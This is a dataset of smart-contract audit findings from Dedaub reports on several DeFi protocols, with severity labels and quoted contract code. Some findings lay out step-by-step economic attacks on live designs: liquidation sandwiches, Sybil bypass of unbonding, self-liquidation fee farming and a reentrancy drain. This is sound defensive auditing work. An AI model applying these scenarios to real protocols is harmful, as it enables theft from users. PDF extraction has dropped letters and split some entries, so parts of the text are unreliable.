considered a bad, low-level coding practice. A similar effect may be more cleanly achieved via use of a library.", "labels": ["Dedaub", "Vesper Pools+Strategies September", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", "body": "reserved tokens Open In most strategies the collateral token is part of those in isReservedToken. Not in AlphaLendStrategy.", "labels": ["Dedaub", "Vesper Pools+Strategies September", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", "body": "COMP rewards can be triggered by anyone Dismissed, after review COMP Although we cannot see an issue with it, multiple public functions allow anyone to trigger a claim methods of totalValueCurrent/isLossMaking, and similarly in CompoundXYStrategy. It is worth revisiting whether the timing of rewards can confer a benet to a user. CompoundLeverageStrategy rewards, e.g., in", "labels": ["Dedaub", "Vesper Pools+Strategies September", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", "body": "conventions Resolved often functionality Similar instance, between different CompoundXYStrategyETH and CompoundLeverageStrategyETH, we notice a difference in the _mint function (in one case it returns a value in the other not), and the presence of an _afterRedeem vs. full overriding of _redeemUnderlying. conventions. For follows", "labels": ["Dedaub", "Vesper Pools+Strategies September", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", "body": "looser checks are performed on construction than on Resolved migrateFusePool() When the RariFuseStrategy is constructed, a CToken (assumed to belong to an instantiation of a Rari Fuse pool) is passed as an argument. However, when the strategy migrates to another Fuse pool, Fuses API is used to ensure the new CToken will be part of a Rari Fuse pool. The same checks should also take place during the contracts construction. 10 A7 Compiler bugs Info The contracts were compiled with the Solidity compiler v0.8.3 which, at the time of writing, has a known minor issue. We have reviewed the issue and do not believe it to affect the contracts. More specically the known compiler bug associated with Solidity compiler v0.8.3: Memory layout corruption can happen when using abi.decode for the deserialization of two-dimensional arrays. 11", "labels": ["Dedaub", "Vesper Pools+Strategies September", "Severity: Informational"]}, {"title": "Liquidations of Maker ", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": " DISMISSED The crypto-economic design of this protocol can lead to force-liquidation of Makers through very small price movements. The following design elements make it easy to force liquidate makers: - Curve-Crypto AMM can yield the same price with dierent pool compositions - Spread limit is hard to trigger with single transactions Scenario: Bob wants to force liquidate Alices maker position to perform a liquidation slippage sandwich. [Note: the following gures are approximate] 1. With a small amount of margin, Alice opens a maker position: $3000 + 0.5ETH, when ETH is at $2000. Note that the pool is not perfectly balanced. 2. Bob opens a large short position, say 10ETH, moving ETH price to $1900. 3. The pools composition changed signicantly with one swap, but not the price. 4. Alices position is now around $1100 + 1.5ETH, so openNotional = 1900 and position = 1 5. Alices maker debt is $6000 6. Alices notionalPosition is $7900 0 The result is that with < 5% price change, Alices margin fraction has decreased by 25%", "labels": ["Dedaub", "Hubble Exchange", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "process is easily circumvented DISMISSED The unbonding process can be easily circumvented through a variation on the Sybil aack. Unbonding liquidity at will enables other aacks such as liquidity frontrunning. Scenario: Alice wants to add amount of liquidity, and be able to withdraw /3 of her liquidity on any one day. We assume that the withdrawal period is N days and the unbonding period is M days. This means that using the following strategy, alice can always remove / liquidity, like so: 1. Alice deposits / each day for M days on M dierent addresses 2. After M days, Alice goes through each address where the withdrawal expired and requests unbonding again. 3. At any day, after the rst M days, alice can withdraw up to / of her liquidity.", "labels": ["Dedaub", "Hubble Exchange", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "amount is not reset on liquidation RESOLVED A makers liquidation calls method AMM::forceRemoveLiquidity, which in turn calls AMM::_removeLiquidity and operates in the same manner as the regular removeLiquidity thereafter, but does not reset a pending unbonding amount that the maker might have. The function AMM::removeLiquidity on the other hand, deducts the unbonding amount accordingly: Maker storage _maker = _makers[maker]; _maker.unbondAmount -= amount;", "labels": ["Dedaub", "Hubble Exchange", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "Liquidations ACKNOWLEDGED 0 The risk of cascading liquidations in Hubble are relatively high, especially where maker liquidations are concerned. Takers are relatively protected from triggering liquidations of other takers due to the dual mode margin fraction mechanism (which uses oracle prices in cases of large divergences between mark and index prices). However, a taker liquidation can trigger a maker liquidation (see M1). In turn the removal of maker liquidity makes the price derived via Swap::get_dy and Swap::get_dx lower. The following are our inferred cascading liquidation risks: - Taker liquidation triggering a taker liquidation (low) - Maker liquidation triggering a taker liquidation (medium, eect of swap price movement in addition to the eect of removal of liquidity) - Maker liquidation triggering a maker liquidation (high, see M1) - Taker liquidation triggering a maker liquidation (high, see M1)", "labels": ["Dedaub", "Hubble Exchange", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "stakers who double as liquidators can increase their share of the pool RESOLVED [This issue was partially known to the developers] If an insurance staker also doubles as a liquidator, then they can: 1. Withdraw their insurance contribution 2. Liquidate bad debt 3. Sele bad debt using other users insurance stake 4. Re-deposit their stake again The liquidator/staker now owns a larger portion of the pool. This eect can be compounded. Opening multiple tiny positions to make liquidations", "labels": ["Dedaub", "Hubble Exchange", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "unprotable 0 There are no restrictions on the minimum size of the position a user can open and on the minimum amount of collateral he should deposit when an account is opened. A really small position will be unprotable for an arbitrageur to liquidate. An adversary could take advantage of this fact and open a huge number of tiny positions, using dierent accounts. The adversary might not be able to get a direct prot from such an approach, but since these positions are going to stay open for a long time, as no one will have a prot by liquidating them, they can signicantly shift the price of the vAMM with small risk. To safeguard against such aacks we suggest that a lower bound on the position size and collateral should be used. Liquidating own tiny maker position to prot from the xed", "labels": ["Dedaub", "Hubble Exchange", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "fee As discussed in issue M6, one can open a however small position they want. The same is true when providing liquidity. On the other hand the incentive fee for liquidating a maker, i.e., someone that provides liquidity, is xed and its 20 dollars as dened in ClearingHouse::fixedMakerLiquidationFee. Thus, one could provide really tiny amounts of liquidity (with tiny amounts of collateral backing it) and liquidate themselves with another account to make a prot from the liquidation fee. Networks with small transaction fees (e.g., Avalanche) or", "labels": ["Dedaub", "Hubble Exchange", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "could make such an aack really protable, especially if executed on a large scale. ClearingHouse::isMaker does not take into account makers", "labels": ["Dedaub", "Hubble Exchange", "Severity: Low"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "ignition share Method ClearingHouse::isMaker checks if a user is a maker by implementing the following check: function isMaker(address trader) override public view returns(bool) { uint numAmms = amms.length; for (uint i; i < numAmms; ++i) { IAMM.Maker memory maker = amms[i].makers(trader); if (maker.dToken > 0) { 0 return true; } } return false; } However, the AMM could still be in the ignition phase, meaning that the maker could have provided liquidity that in maker.ignition. This omission could allow liquidation of a users taker positions before its maker positions, which is something undesirable, as dened by the liquidate and liquidateTaker methods of ClearingHouse. reflected in maker.dToken but is not yet", "labels": ["Dedaub", "Hubble Exchange", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "Slippage Sandwich Attack ACKNOWLEDGED [The aack is related to already known issues, but is documented in more detail here] 1. Alice has a long position that is underwater 2. Bob opens a large short position 3. Bob liquidates Alice. This triggers a swap in the same direction as Bobs position and causes slippage. 4. Bob closes his position, and prots on the slippage at the expense of Alice. M10 Self close bad debt attack DISMISSED This is a non-specic aack on the economics of the protocol. 1. Alice opens a short position using account A 2. Alice opens a large long position using account B 3. In the meantime, the market moves up. 4. Alice closes her under-collateralized position A. Bad debt occurs. 5. Alice can now close position B and realize her prot 09 LOW SEVERITY: ", "labels": ["Dedaub", "Hubble Exchange", "Severity: Medium"]}, {"title": "neutra ", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": " ACKNOWLEDGED Maker debt, calculated as the vUSD amount * 2 when the liquidity was added never changes. If the maker has gained out of her impermanent position, e.g., through fees, this is not accounted for, in certain kinds of liquidations (via oracle). However, if the maker now removes their liquidity, closes their impermanent position and adds the same amount of liquidity, the debt is reset to a dierent amount.", "labels": ["Dedaub", "Hubble Exchange", "Severity: Low"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "blacklisting checks are incomplete RESOLVED The ClearingHouse contract can set and use a Blacklist contract to ban certain users from opening new positions. However, these same users are not blacklisted from providing liquidity to the protocol, i.e., having impermanent positions, which can be turned into permanent ones when the liquidity is removed. Although this form of opening positions is not controllable, it would be beer if blacklisted users were also banned from providing liquidity.", "labels": ["Dedaub", "Hubble Exchange", "Severity: Low"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "could potentially be reentered RESOLVED VUSD::processWithdrawals of the VUSD contract calls method safeTransfer on the reserveToken dened in VUSD. 01 function processWithdrawals() external whenNotPaused { uint reserve = reserveToken.balanceOf(address(this)); require(reserve >= withdrawals[start].amount, 'Cannot process withdrawals at this time: Not enough balance'); uint i = start; while (i < withdrawals.length && (i - start) < maxWithdrawalProcesses) { Withdrawal memory withdrawal = withdrawals[i]; if (reserve < withdrawal.amount) { break; } reserve -= withdrawal.amount; reserveToken.safeTransfer(withdrawal.usr, withdrawal.amount); i += 1; } start = i; } In the unlikely scenario that the safeTransfer method (or a method safeTransfer calls internally) of reserveToken allows calling an arbitrary contract, then that contract can reenter the processWithdrawals method. As the start storage variable will not have been updated (it is updated at the very end of the method), the same withdrawal will be executed twice if the contracts reserveToken balance is suicient. Actually, if reentrancy is possible, the whole balance of the contract can be drained by reentering multiple times. It is easier to perform this aack if the aackers withdrawal is the rst to be executed, which is actually not hard to achieve. This vulnerability is highly unlikely, as it requires the execution reaching an untrusted contract, still we suggest adding a reentrancy guard (minor overhead) to completely remove the possibility of such a scenario. 01 OTHER/ ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them.", "labels": ["Dedaub", "Hubble Exchange", "Severity: Low"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "usage increases quadratically to positions ACKNOWLEDGED Whenever a users position is modied, maintained or liquidated, all of the users token positions need to be queried (both maker and taker). For instance, this happens in ClearingHouse::getTotalNotionalPositionAndUnrealizedPnl for (uint i; i < numAmms; ++i) { if (amms[i].isOverSpreadLimit()) { (_notionalPosition, _unrealizedPnl) = amms[i].getOracleBasedPnl(trader, margin, mode); } else { (_notionalPosition, _unrealizedPnl,,) = amms[i].getNotionalPositionAndUnrealizedPnl(trader); } notionalPosition += _notionalPosition; unrealizedPnl += _unrealizedPnl; } Therefore, if we assume that a user with more positions and exposure to more tokens needs to tweak their positions from time to time, and the number of actions correlates the number of positions, the gas usage really scales quadratically to the number of positions for such a user.", "labels": ["Dedaub", "Hubble Exchange", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "regarding the numerical methods of CurveMath.vy ACKNOWLEDGED [Below we use the notation of the curve crypto whitepaper] The CurveCrypto invariant in the case of pools with only two assets (N=2) can be simplied into a low degree polynomial, which could lead to a faster convergence of the numerical methods. 01 The coeicient K, when N=2 (we denote by x and y the deposits of the two assets in the pool), is given by the formula If we multiply both sides of the equation an equivalent equation, which is polynomial in all three variables x, y and D: by the denominator of K we get As you can see it is a cubic equation for x and y and you can use the formulas for cubic equations either to compute faster the solution or to get a beer initial value for the iterative method you are currently using. We believe it would be worth spending some time experimenting with the numerical methods to get the fastest possible convergence (and consequently reduced gas fees paid by the users).", "labels": ["Dedaub", "Hubble Exchange", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "functionality to remove AMMs ACKNOWLEDGED Governance has the ability to whitelist AMMs via ClearingHouse::whitelistAmm method, while there is no functionality to remove or blacklist an AMM.", "labels": ["Dedaub", "Hubble Exchange", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "collateral index checks are missing ACKNOWLEDGED There are several external methods of MarginAccount, namely addMargin, addMarginFor, removeMargin, liquidateExactRepay and liquidateExactSeize that do not implement a check on the collateral index supplied, which can lead to the ungraceful termination of the transaction if an incorrect index has been supplied. A simple check such as: require(idx < supportedCollateral.length, \"Collateral not supported\"); could be used to also inform the user of the problem with their transaction. 01", "labels": ["Dedaub", "Hubble Exchange", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "event is missing timestamp eld ACKNOWLEDGED The AMM::PositionChanged event is potentially missing a timestamp eld that all related events (LiquidityAdded, LiquidityRemoved, Unbonded) other incorporate. trader", "labels": ["Dedaub", "Hubble Exchange", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "out code ACKNOWLEDGED In method MarginAccount::isLiquidatable the following line is commented out: _isLiquidatable = IMarginAccount.LiquidationStatus.IS_LIQUIDATABLE; This is because IMarginAccount.LiquidationStatus.IS_LIQUIDATABLE is equal to 0, which will be the default value of _isLiquidatable if no value is assigned to it, thus the above assignment is not necessary. Nevertheless, explicitly assigning the enum value makes the code much more readable and intiutive.", "labels": ["Dedaub", "Hubble Exchange", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "constants ACKNOWLEDGED There are several magic constants throughout the codebase, many of them related to the precision of token amounts, making it diicult to reason about the correctness of certain computations. The developers of the protocol are aware of the issue and claim that they have developed extensive tests to make sure nothing is wrong in this regard.", "labels": ["Dedaub", "Hubble Exchange", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "price decimals assumption ACKNOWLEDGED The Oracle contract code makes the assumption that the price value returned by the ChainLink oracle has 8 decimals. This assumption appears to be correct if the oracles used report the price in terms of USD. Nevertheless, using the oracles available decimals method and avoiding such a generic assumption would make the code much more robust.", "labels": ["Dedaub", "Hubble Exchange", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "can be reused ACKNOWLEDGED 01 The following code shared by methods MarginAccount::liquidateExactRepay and MarginAccount::liquidateExactSeize can be factored out in a separate method and reused: clearingHouse.updatePositions(trader); // credits/debits funding LiquidationBuffer memory buffer = _getLiquidationInfo(trader, idx); if (buffer.status != IMarginAccount.LiquidationStatus.IS_LIQUIDATABLE) { revert NOT_LIQUIDATABLE(buffer.status); } In addition, all the code of AMM::isOverSpreadLimit: function isOverSpreadLimit() external view returns(bool) { if (ammState != AMMState.Active) return false; uint oraclePrice = uint(oracle.getUnderlyingPrice(underlyingAsset)); uint markPrice = lastPrice(); uint oracleSpreadRatioAbs; if (markPrice > oraclePrice) { oracleSpreadRatioAbs = markPrice - oraclePrice; } else { oracleSpreadRatioAbs = oraclePrice - markPrice; } oracleSpreadRatioAbs = oracleSpreadRatioAbs * 100 / oraclePrice; if (oracleSpreadRatioAbs >= maxOracleSpreadRatio) { return true; } return false; } except line uint markPrice = lastPrice(); can be factored out in another method, e.g., _isOverSpreadLimit(uint markPrice), which will have markPrice as an argument. Then method _isOverSpreadLimit can be reused in methods _short and _long. 01", "labels": ["Dedaub", "Hubble Exchange", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "modiers ACKNOWLEDGED Methods syncDeps of MarginAccount and InsuranceFund could be declared external instead of public.", "labels": ["Dedaub", "Hubble Exchange", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", "body": "code/contracts ACKNOWLEDGED tests/Executor.sol is not used. A12 Compiler known issues INFO The contracts were compiled with the Solidity compiler v0.8.9 which, at the time of writing, have some known bugs. We inspected the bugs listed for this version and concluded that the subject code is unaected. 01 CENTRALIZATION ASPECTS As is common in many new protocols, the owner of the smart contracts yields considerable power over the protocol, including changing the contracts holding the users funds, adding AMMs and tokens, which potentially means borrowing tokens using fake collateral, etc. In addition, the owner of the protocol can: - Blacklist any user. - Set important parameters in the vAMM which change the price of any assets: price_scale, price_oracle, last_prices. This allows the owner to potentially liquidate otherwise healthy positions or enter into bad debt positions. The computation of the Margin Fraction takes into account the weighted collateral, whose weights are going to be decided by governance. Currently the protocol uses NFTs for governance but in the future the decisions will be made through a DAO. Currently, there is no relevant implementation, i.e., the Hubble protocol does not yet oer a governance token. Still, even if the nal solution is decentralized, governance should be really careful and methodical when deciding the values of the weights. We believe that another, safer approach would be to alter these weights in a specic way dened by predetermined formulas and allow only small adjustments by the DAO. 01", "labels": ["Dedaub", "Hubble Exchange", "Severity: Informational"]}, {"title": "suggestions ", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido on Kusama,Polkadot Delta Audit - Sep 22.pdf", "body": " INFO In the RelayEncoder.sol contract the function encode_withdraw_unbonded() uses several arithmetic operations with numbers that can be expressed as powers of 2. Thus, the multiplications and the divisions can be replaced with bitwise operations for more eiciency and maintainability. Furthermore, in Encoding.sol::scaleCompactUint:45 the 0xFF can be removed since the uint8() casting will give the same result even without the AND operation.", "labels": ["Dedaub", "Lido on Kusama,Polkadot Delta", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido on Kusama,Polkadot Delta Audit - Sep 22.pdf", "body": "for minor changes ACKNOWLEDGED The auditors appreciated the inclusion of tests for all major changes. It would be benecial to include tests also for smaller changes that seem to be missing (for instance we could not nd a test for the case totalXcKSMPoolShares == 0 and totalVirtualXcKSMAmount != 0). Although this check is minor, the fact that it was missing in the previous version makes it worthy of a test. A3 Compiler known issues INFO The code is compiled with Solidity 0.8.0 or higher. For deployment, we recommend no floating pragmas, i.e., a specic version, to be condent about the baseline guarantees 4 oered by the compiler. Version 0.8.0, in particular, has some known bugs, which we do not believe aect the correctness of the contracts", "labels": ["Dedaub", "Lido on Kusama,Polkadot Delta", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Solid World/Solid World Audit - May '23.pdf", "body": "Stake event does not capture the msg.sender WONT FIX The SolidStaking Stake event captures the recipient account but not the msg.sender, thus this piece of information is not recorded if the recipient is not also the msg.sender. A2 LiquidityDeployer::getTokenDepositors can be optimized to save gas WONT FIX The function LiquidityDeployer::getTokenDepositors copies the depositors array from storage to memory by performing a loop over each element of the array instead of just returning the array. LiquidityDeployer::getTokenDepositors function getTokenDepositors() external view returns (address[] memory tokenDepositors) { } tokenDepositors = new address[](depositors.tokenDepositors.length); for (uint i; i < depositors.tokenDepositors.length; i++) { tokenDepositors[i] = depositors.tokenDepositors[i]; } By changing the code to: function getTokenDepositors() external view returns (address[] memory tokenDepositors) { } return depositors.tokenDepositors; the cost of calling getTokenDepositors is reduced by 33% and the deployment cost of the LiquidityDeployer is reduced by ~1.5%.", "labels": ["Dedaub", "Solid World", "Severity: Informational"]}, {"title": "Consumer can be simplied ", "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink VRF v.2 audit.pdf", "body": " Resolved There is lile reason to keep subId both in the key and in the value of the s_consumers mapping. struct Consumer { uint64 subId; uint64 nonce; } mapping(address => mapping(uint64 => Consumer)) /* consumer */ /* subId */ private s_consumers; The information could be kept in a boolean, or encoded in the nonce eld. (E.g., start nonces from 1, to denote an allocated consumer with 0 requests.)", "labels": ["Dedaub", "Chainlink VRF v.2", "Severity: Low"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink VRF v.2 audit.pdf", "body": "code in getRandomnessFromProof Dismissed Under the current denition of the Chainlink blockhash store, the following is dead code (condition never true). The call to get the blochhash would have reverted. blockHash = BLOCKHASH_STORE.getBlockhash(rc.blockNum); if (blockHash == bytes32(0)) { revert BlockhashNotInStore(rc.blockNum); } Admiedly, it is good to code defensively relative to external calls, so the check is not without merit.", "labels": ["Dedaub", "Chainlink VRF v.2", "Severity: Low"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink VRF v.2 audit.pdf", "body": "check in fulfillRandomWords Resolved 0 The check if (gasPreCallback < rc.callbackGasLimit) { revert InsufficientGasForConsumer(gasPreCallback, rc.callbackGasLimit); } is unnecessary, given the stronger check that follows inside the call to callWithExactGas, with gasAmount being rc.callbackGasLimit: assembly { let g := gas() ... if iszero(gt(sub(g, div(g, 64)), gasAmount)) { revert(0, 0) } ...", "labels": ["Dedaub", "Chainlink VRF v.2", "Severity: Low"]}, {"title": "meaning of MIN_GAS_LIMIT is unclear Resolved Code comments describe MIN_GAS_LIMIT as: // The minimum gas limit that could be requested for a callback. // Set to 5k to ensure plenty of room to make the call itself. uint256 public constant MIN_GAS_LIMIT = 5_000; and /** ... * The minimum amount of gasAmount is MIN_GAS_LIMIT. (With gasAmount being the callbackGasLimit.) However, MIN_GAS_LIMIT is never compared against the callback gas limit, only against the currently available gas. Our interpretation was that it intends to account for the gas of other VRFCoordinatorV2 contract operations outside the client callback. If so, the limit of 5000 is too low. 0 OTHER/ ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them. ID Description ", "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink VRF v.2 audit.pdf", "body": "meaning of MIN_GAS_LIMIT is unclear Resolved Code comments describe MIN_GAS_LIMIT as: // The minimum gas limit that could be requested for a callback. // Set to 5k to ensure plenty of room to make the call itself. uint256 public constant MIN_GAS_LIMIT = 5_000; and /** ... * The minimum amount of gasAmount is MIN_GAS_LIMIT. (With gasAmount being the callbackGasLimit.) However, MIN_GAS_LIMIT is never compared against the callback gas limit, only against the currently available gas. Our interpretation was that it intends to account for the gas of other VRFCoordinatorV2 contract operations outside the client callback. If so, the limit of 5000 is too low. 0 OTHER/ ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them. ID Description ", "labels": ["Dedaub", "Chainlink VRF v.2", "Severity: Low"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink VRF v.2 audit.pdf", "body": "s_fallbackWeiPerUnitLink left out of Config Dismissed It is unclear why variable s_fallbackWeiPerUnitLink is not included in the Config structure, since it is essentially handled as one of the variables therein. For example, the return statement of getConfig(): return ( config.minimumRequestConfirmations, config.fulfillmentFlatFeeLinkPPM, config.maxGasLimit, config.stalenessSeconds, config.gasAfterPaymentCalculation, config.minimumSubscriptionBalance, s_fallbackWeiPerUnitLink ); Is there some benet in keeping the size of Cong down to one word, given that it seems to be always read/wrien together with s_fallbackWeiPerUnitLink ?", "labels": ["Dedaub", "Chainlink VRF v.2", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink VRF v.2 audit.pdf", "body": "optimizations using unchecked wrapper Dismissed In VRFCoordinatorV2.sol there are a number of safe mathematical operations that could be made more gas eicient if wrapped in unchecked{} In fulllRandomWords: s_subscriptions[rc.subId].balance -= payment; s_withdrawableTokens[s_provingKeys[keyHash]] += payment; In OracleWithdraw: 0 s_withdrawableTokens[msg.sender] -= amount; s_totalBalance -= amount; In defundSubscription: s_subscriptions[subId].balance -= amount; s_totalBalance -= amount In cancelSubscription: s_totalBalance -= balance However, this recommendation could slightly downgrade readability and clarity.", "labels": ["Dedaub", "Chainlink VRF v.2", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink VRF v.2 audit.pdf", "body": "ordering inside contracts Dismissed Consider adopting the oicial style guide for function ordering within a contract. In order of priority: external > public > internal > private and view > pure within the same visibility group. hps://docs.soliditylang.org/en/v0.8.7/style-guide.html#order-of-functions", "labels": ["Dedaub", "Chainlink VRF v.2", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink VRF v.2 audit.pdf", "body": "pragma INFO Use of a floating pragma: The floating pragma pragma solidity ^0.8.0; is used, allowing contracts to be compiled with any version of the Solidity compiler that is greater or equal to v0.8.0 and lower than v.0.9.0. Although the dierences between these versions should be small, for deployment, floating pragmas should ideally be avoided and the pragma be xed. A5 Compiler known issues INFO Solidity compiler v0.8.0, at the time of writing, has some known bugs (SignedImmutables, ABIDecodeTwoDimensionalArrayMemory, KeccakCaching). We believe that none of them aects the code: no immutable signed integer variables are declared, no multidimensional arrays seem to be used in the audited contracts, and no keccak hashing of constant memory arrays takes place. 0 0", "labels": ["Dedaub", "Chainlink VRF v.2", "Severity: Informational"]}, {"title": "can be simplied from Uint32 to Bool ", "html_url": "https://github.com/dedaub/audits/tree/main/Avely Finance/Avely Audit Report.pdf", "body": " RESOLVED In aZil, the eld tmp_buffer_exists_at_ssn is declared as Uint32: field tmp_buffer_exists_at_ssn: Uint32 = uint32_zero However, all writes to this eld are either 0 or 1, and all reads from it are followed up by an equality check with 0 and a match statement - the eld is a boolean la C. It is recommended that the eld be declared Bool, in order to improve code readability and simplify the snippets that read from it.", "labels": ["Dedaub", "Avely", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Avely Finance/Avely Audit Report.pdf", "body": "assignment sequence can be simplied RESOLVED In the aZil.CalculateTotalWithdrawalBlock procedure, can be simplied: procedure CalculateTotalWithdrawalBlock(deleg_withdrawal: Pair ByStr20 Withdrawal) match deleg_withdrawal with | Pair delegator withdrawal => match withdrawal with | Withdrawal withdraw_token_amt withdraw_stake_amt => match withdrawal_unbonded_o with | Some (Withdrawal token stake) => updated_token = builtin add token withdraw_token_amt; updated_stake = builtin add stake withdraw_stake_amt; unbonded_withdrawal = Withdrawal updated_token updated_stake; withdrawal_unbonded[delegator] := unbonded_withdrawal | None => (* Dedaub: This branch can be simplified to withdrawal_unbonded[delegator] := withdrawal *) unbonded_withdrawal = Withdrawal withdraw_token_amt withdraw_stake_amt; withdrawal_unbonded[delegator] := unbonded_withdrawal end end end end The inner matchs None case can become: | None => withdrawal_unbonded[delegator] := withdrawal end", "labels": ["Dedaub", "Avely", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Avely Finance/Avely Audit Report.pdf", "body": "of multisig_wallet.RevokeSignature can be simplied DISMISSED In multisig_wallet, RevokeSignature can be simplied. The transition checks whether there are zero signatures through c_is_zero = builtin eq c zero; But for this line of code to execute exists signatures[transactionId][_sender]; must have already been true. Therefore it is guaranteed that there is at least one signature, and c_is_zero cannot be 0. Thus the following transition can be simplied: (* Revoke signature of existing transaction, if it has not yet been executed. *) transition RevokeSignature (transactionId : Uint32) sig <- exists signatures[transactionId][_sender]; match sig with | False => err = NotAlreadySigned; MakeError err | True => count <- signature_counts[transactionId]; match count with | None => err = IncorrectSignatureCount; MakeError err | Some c => c_is_zero = builtin eq c zero; match c_is_zero with | True => err = IncorrectSignatureCount; MakeError err | False => new_c = builtin sub c one; signature_counts[transactionId] := new_c; delete signatures[transactionId][_sender]; e = mk_signature_revoked_event transactionId; event e end end end end By replacing the Some c branch with the following: Some c => new_c = builtin sub c one; signature_counts[transactionId] := new_c; delete signatures[transactionId][_sender]; e = mk_signature_revoked_event transactionId; event e", "labels": ["Dedaub", "Avely", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Avely Finance/Avely Audit Report.pdf", "body": "of azil.DrainBuffer logic can be simplied RESOLVED Transition DrainBuffer of aZil also admits some simplication: a bind action can be factored out, since it occurs in both cases of a match, and another binding is redundant, both shown in comments below. transition DrainBuffer(buffer_addr: ByStr20) RequireAdmin; buffers_addrs <- buffers_addresses; is_buffer = is_buffer_addr buffers_addrs buffer_addr; match is_buffer with | True => FetchRemoteBufferExistsAtSSN buffer_addr; (* local_lastrewardcycle updated in FetchRemoteBufferExistsAtSSN *) lrc <- local_lastrewardcycle; RequireNotDrainedBuffer buffer_addr lrc; var_buffer_exists <- tmp_buffer_exists_at_ssn; is_exists = builtin eq var_buffer_exists uint32_one; match is_exists with | True => holder_addr <- holder_address; ClaimRewards buffer_addr; ClaimRewards holder_addr; RequestDelegatorSwap buffer_addr holder_addr; ConfirmDelegatorSwap buffer_addr holder_addr | False => holder_addr <- holder_address; (* Dedaub: This is also done in the True branch of the match *) ClaimRewards holder_addr end | False => e = BufferAddrUnknown; ThrowError e end; lrc <- local_lastrewardcycle; (* Dedaub: extraneous, it was already done above in the True case, and the False case is irrelevant *) buffer_drained_cycle[buffer_addr] := lrc; tmp_buffer_exists_at_ssn := uint32_zero end Buer/Holder have permissions for transitions they will never A5 execute DISMISSED As can be 